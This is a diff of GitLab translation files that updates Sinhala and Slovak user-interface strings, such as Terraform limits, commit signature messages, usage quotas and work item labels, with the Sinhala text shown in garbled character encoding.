msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr "%{name} à·ƒà·à¶»à·Šà¶®à¶šà·€ ඉවත් කෙරිණි"
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr "අත්හද෠බà·à¶½à·“ම්"
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr "අයà·à¶ à·’ත සටහන් නà·à¶­"
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42972,7 +43673,7 @@ msgid "To find the state of this project's repository at the time of any of thes
msgstr ""
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
-msgstr "ඔබගේ ගිණුම තවදුරටත් ආරක්â€à·‚෠කිරීම සඳහà·, %{mfa_link_start}ද්වි à·ƒà·à¶°à¶š සත්â€à¶ºà·à¶´à¶±%{mfa_link_end} ක්â€à¶»à¶¸à¶ºà¶šà·Š පිහිටුවීමට බලන්න."
+msgstr "ගිණුම තවදුරටත් ආරක්â€à·‚෠කිරීමට, %{mfa_link_start}ද්වි à·ƒà·à¶°à¶š සත්â€à¶ºà·à¶´à¶±%{mfa_link_end} ක්â€à¶»à¶¸à¶ºà¶šà·Š පිහිටුවන්න."
msgid "To further protect your account, consider configuring a two-factor authentication method: %{mfa_link}."
msgstr "ඔබගේ ගිණුම තවදුරටත් ආරක්â€à·‚෠කිරීම සඳහà·, ද්වි à·ƒà·à¶°à¶š සත්â€à¶ºà·à¶´à¶± ක්â€à¶»à¶¸à¶ºà¶šà·Š පිහිටුවන්න: %{mfa_link}."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr "දවස් %{daysUsed}/%{duration}"
-msgid "Trials|Go back to GitLab"
-msgstr "ගිට්ලà·à¶¶à·Š වෙත ආපසු යන්න"
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr "පෙරහන් සංà·à·à¶°à¶±à¶ºà¶§ හ෠ඉවතලීමට
msgid "Try grouping with different labels"
msgstr "වෙනස් නම්පත් සමඟ සමූහගත කරන්න"
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "යà·à·€à¶­à·Šà¶šà·à¶½à·“නයි"
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44174,16 +44880,16 @@ msgid "Upload"
msgstr "උඩුගත කරන්න"
msgid "Upload %{file_name} file"
-msgstr ""
+msgstr "%{file_name} උඩුගත කරන්න"
msgid "Upload CSV file"
msgstr "CSV ගොනුව උඩුගත කරන්න"
msgid "Upload File"
-msgstr "ගොනුව උඩුගත කරන්න"
+msgstr "ගොනුවක් උඩුගත කරන්න"
msgid "Upload New File"
-msgstr "නව ගොනුව උඩුගත කරන්න"
+msgstr "නව ගොනුවක් උඩුගත කිරීම"
msgid "Upload a certificate for your domain with all intermediates"
msgstr ""
@@ -44195,13 +44901,13 @@ msgid "Upload could not be deleted."
msgstr ""
msgid "Upload file"
-msgstr "ගොනුව උඩුගත කරන්න"
+msgstr "ගොනුවක් උඩුගත කරන්න"
msgid "Upload image"
msgstr "රූපය යොදන්න"
msgid "Upload new file"
-msgstr "ගොනුව යෙà·à¶¯à¶±à·Šà¶±"
+msgstr "නව ගොනුවක් උඩුගත කිරීම"
msgid "Upload object map"
msgstr "වස්තු සිතියම යොදන්න"
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr "තà·à·€à¶šà·à¶½à·’කව ආචයනය à·€à·à¶©à·’ කරන්න"
-
msgid "UsageQuota|LFS storage"
msgstr "LFS ආචයනය"
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr "අතිරික්ත ආචයන භà·à·€à·’තය ගà·à¶± තව දà·à¶±à¶œà¶±à·Šà¶±"
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr "තව ආචයන මිලදී ගන්න"
-
msgid "UsageQuota|Purchased storage"
msgstr "මිලදී ගත් ආචයනය"
-msgid "UsageQuota|Purchased storage available"
-msgstr "මිලදී ගත් ආචයනය තිබේ"
-
msgid "UsageQuota|Purchased storage used"
msgstr "මිලදී ගත් ආචයනය භà·à·€à·’ත෠කර ඇත"
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr "උඩුගත කිරීම්"
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr "ඔබගේ භà·à·€à·’තය: %{usage} %{limit}"
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr "අච්චුව භà·à·€à·’තය"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr "(කà·à¶»à·Šà¶ºà¶¶à·„ුලයි)"
msgid "UserProfile|Activity"
msgstr "ක්â€à¶»à·’යà·à¶šà·à¶»à¶šà¶¸"
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr "අවහිර කළ පරිà·à·“ලක"
@@ -44937,12 +45616,12 @@ msgstr "තරු යෙදූ ව්â€à¶ºà·à¶´à·˜à¶­à·’"
msgid "UserProfile|Subscribe"
msgstr "දà·à¶ºà¶š වන්න"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr ""
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "මෙම පරිà·à·“ලකයà·à¶§ අනුගà·à¶¸à·’කයින් නà·à¶­."
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "මෙම පරිà·à·“ලකයà·à¶§ කිසිදු පෞද්ගලික ව්â€à¶ºà·à¶´à·˜à¶­à·’යක් නà·à¶­"
-
msgid "UserProfile|This user has a private profile"
msgstr "මෙම පරිà·à·“ලකයà·à¶§ පුද්ගලික පà·à¶­à·’කඩක් ඇත"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr "තහවුරුයි"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr "වින්â€à¶ºà·à·ƒà¶º තහවුරුව"
msgid "Version"
msgstr "අනුවà·à¶¯à¶º"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr "සියළුම ව්â€à¶ºà·à¶´à·˜à¶­à·’ බලන්න"
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr "සටහන බලන්න"
msgid "View logs"
msgstr "සටහන් බලන්න"
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] "පොදු ජීපීජී යතුරු බලන්න"
msgid "View replaced file @ "
msgstr "ප්â€à¶»à¶­à·’ස්ථà·à¶´à·’ත ගොනුව බලන්න @ "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr "ප්â€à¶»à¶½à·šà¶›à¶±à¶º බලන්න"
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -45583,7 +46268,7 @@ msgid "VisibilityLevel|Unknown"
msgstr ""
msgid "Visual Studio Code (HTTPS)"
-msgstr ""
+msgstr "විෂුවල් ස්ටුඩිය෠කà·à¶©à·Š (HTTPS)"
msgid "Visual Studio Code (SSH)"
msgstr "විෂුවල් ස්ටුඩිය෠කà·à¶©à·Š (SSH)"
@@ -46111,10 +46796,10 @@ msgid "WebIDE|Merge request"
msgstr "ඒකà·à¶¶à¶¯à·Šà¶° ඉල්ලීම"
msgid "WebIDE|Quickly and easily edit multiple files in your project."
-msgstr ""
+msgstr "ඔබගේ ව්â€à¶ºà·à¶´à·˜à¶­à·’යෙහි ගොනු කිහිපයක් ඉක්මනින් හ෠පහසුවෙන් සංස්කරණය කරන්න."
msgid "WebIDE|Quickly and easily edit multiple files in your project. Press . to open"
-msgstr ""
+msgstr "ඔබගේ ව්â€à¶ºà·à¶´à·˜à¶­à·’යෙහි ගොනු කිහිපයක් ඉක්මනින් හ෠පහසුවෙන් සංස්කරණය කරන්න.. ඇරීමට . ඔබන්න"
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr "එකතු"
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr "%{project_name} වෙත පුද්ගලයෙකුට ආරà·à¶°
msgid "You can invite another group to %{project_name}."
msgstr "%{project_name} වෙත අන් සමූහයකට ආරà·à¶°à¶±à· කළ à·„à·à¶šà·’ය."
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr "ඔබ සතුව විවෘත ඒකà·à¶¶à¶¯à·Šà¶° ඉල්ලà·
msgid "You don't have any recent searches"
msgstr "ඔබ සතුව මෑත සෙවීම් නà·à¶­"
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr "ඔබ වලංගු වත්මන් මුරපදයක් à·ƒà·à¶´à¶ºà·’ය යුතුය"
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr "එය වෙනස් කිරීමට ඔබගේ වත්මන් මුරපදය ලබ෠දිය යුතුය."
@@ -47681,10 +48399,10 @@ msgid "You're receiving this email because of your account on %{host}."
msgstr "මෙම වි-තà·à¶´à·‘ල ලà·à¶¶à·™à¶±à·Šà¶±à·š %{host} à·„à·’ ගිණුම නිසà·à¶º."
msgid "You're receiving this email because of your account on %{host}. %{manage_label_subscriptions_link_start}Manage label subscriptions%{manage_label_subscriptions_link_end} &middot; %{help_link_start}Help%{help_link_end}"
-msgstr "ඔබට මෙම වි-තà·à¶´à·‘ල ලà·à¶¶à·™à¶±à·Šà¶±à·š %{host} à·„à·’ ඔබගේ ගිණුම නිසà·à¶º. %{manage_label_subscriptions_link_start}නම්පත් දà·à¶ºà¶šà¶­à·Šâ€à·€ කළමනà·à¶šà¶»à¶«à¶º%{manage_label_subscriptions_link_end} &middot; %{help_link_start}උදව්%{help_link_end}"
+msgstr "මෙම වි-තà·à¶´à·‘ල ලà·à¶¶à·™à¶±à·Šà¶±à·š %{host} à·„à·’ ඔබගේ ගිණුම නිසà·à¶º. %{manage_label_subscriptions_link_start}නම්පත් දà·à¶ºà¶šà¶­à·Šâ€à·€ කළමනà·à¶šà¶»à¶«à¶º%{manage_label_subscriptions_link_end} &middot; %{help_link_start}උදව්%{help_link_end}"
msgid "You're receiving this email because of your account on %{host}. %{manage_notifications_link_start}Manage all notifications%{manage_notifications_link_end} &middot; %{help_link_start}Help%{help_link_end}"
-msgstr "ඔබට මෙම වි-තà·à¶´à·‘ල ලà·à¶¶à·™à¶±à·Šà¶±à·š %{host} à·„à·’ ඔබගේ ගිණුම නිසà·à¶º. %{manage_notifications_link_start}සියළුම දà·à¶±à·”ම්දීම් කළමනà·à¶šà¶»à¶«à¶º%{manage_notifications_link_end} &middot; %{help_link_start}උදව්%{help_link_end}"
+msgstr "මෙම වි-තà·à¶´à·‘ල ලà·à¶¶à·™à¶±à·Šà¶±à·š %{host} à·„à·’ ඔබගේ ගිණුම නිසà·à¶º. %{manage_notifications_link_start}සියළුම දà·à¶±à·”ම්දීම් කළමනà·à¶šà¶»à¶«à¶º%{manage_notifications_link_end} &middot; %{help_link_start}උදව්%{help_link_end}"
msgid "You're receiving this email because of your account on %{host}. %{unsubscribe_link_start}Unsubscribe%{unsubscribe_link_end} from this thread &middot; %{manage_notifications_link_start}Manage all notifications%{manage_notifications_link_end} &middot; %{help_link_start}Help%{help_link_end}"
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr "ඔබ %{user} ප්â€à¶»à¶­à·’ක්â€à·‚ේප කර ඇත"
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr "යූටියුබ්"
@@ -47958,6 +48678,9 @@ msgstr "ඔබගේ පණිවිඩය මෙතà·à¶±"
msgid "Your name"
msgstr "ඔබගේ නම"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr "ඔබගේ මුරපදය"
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr "ඔබගේ පරිà·à·“ලක නà·à¶¸à¶º %{username}."
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr "මෙම සම්පතට à·ƒà·à¶šà·ƒà·“මට නොහà·à¶šà·’ය"
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr "කේත ගුණත්â€à·€à¶º"
-msgid "ciReport|Code Quality failed loading results"
-msgstr "කේත ගුණත්â€à·€à¶º ප්â€à¶»à¶­à·’ඵල පූරණයට අසමත් විය"
+msgid "ciReport|Code Quality failed to load results"
+msgstr ""
+
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr "නව"
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr "කේත ගුණත්â€à·€à¶ºà¶§ වෙනසක් නà·à¶­."
-
msgid "ciReport|No changes to code quality"
msgstr "කේතයේ ගුණත්â€à·€à¶ºà¶§ වෙනසක් නà·à¶­"
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr "වලංගු X509 සහතිකයක් නොවේ."
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr "ආරම්භක දිනයට පසු විය යුතුය"
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr "%{item}, %{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item}, සහ %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/sk_SK/gitlab.po b/locale/sk_SK/gitlab.po
index c4c2c7d2621..934eca577a1 100644
--- a/locale/sk_SK/gitlab.po
+++ b/locale/sk_SK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -932,6 +932,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -1004,6 +1007,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
